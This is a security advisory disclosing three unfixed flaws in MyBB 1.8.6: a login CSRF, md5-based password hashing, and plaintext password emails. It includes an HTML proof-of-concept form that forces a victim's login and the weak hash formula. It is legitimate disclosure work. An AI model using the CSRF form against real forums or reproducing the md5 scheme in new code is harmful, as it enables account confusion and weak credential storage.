Security Advisory - Curesec Research Team
1. Introduction
Affected Product: MyBB 1.8.6
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: http://www.mybb.com/
Vulnerability Type: CSRF, Weak Hashing, Plaintext Passwords
Remote Exploitable: Yes
Reported to vendor: 01/29/2016
Disclosed to public: 09/15/2016
Release mode: Full Disclosure / Informational
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
MyBB 1.8.6 is vulnerable to login CSRF. Additionally, it stores passwords using
weak hashing, and sends passwords via email in plaintext.
3. Login CSRF
Description
CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N
The login of MyBB does not have any CSRF protection. The impact of this is low,
but a victim could provide sensitive information under a fake account. An
example would be the accidental sending of a sensitive private message while
being logged into an account controlled by an attacker.
Additionally, a login CSRF makes it possible to exploit possible
vulnerabilities in the user area, such as XSS.
Proof of Concept
<html> <body> <form action="http://localhost/mybb_1806/Upload/member.php";
method="POST"> <input type="hidden" name="action" value="do_login" /> <input
type="hidden" name="url" value="http://localhost/mybb_1806/Upload/index.php"; />
<input type="hidden" name="quick_login" value="1" /> <input type="hidden" name=
"quick_username" value="admin" /> <input type="hidden" name="quick_password"
value="admin" /> <input type="hidden" name="quick_remember" value="yes" />
<input type="hidden" name="submit" value="Login" /> <input type="submit" value=
"Submit request" /> </form> </body> </html>
4. Weak Hashing
Description
MyBB uses md5 for hashing passwords, which is not considered secure.
The hashing used is:
$hash = md5(md5($salt).md5($password));
5. Passwords Emailed in Plaintext
Description
When passwords are reset, the generated 8 character password is send to the
user via email in plaintext. It is suggested that users change these passwords,
but a change is not required.
It is recommended to use a password reset token instead, and to force the user
to create a new password themselves.
6. Solution
This issue was not fixed by the vendor.
7. Report Timeline
01/29/2016 Informed Vendor about Issue
02/26/2016 Vendor requests more time
03/11/2016 Vendor releases new version
03/15/2016 Requested information about unfixed issues
03/15/2016 Vendor considers issues minor and will not fix them for now
09/15/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/MyBB-186-CSRF-Weak-Hashing-Plaintext-Passwords-161.html
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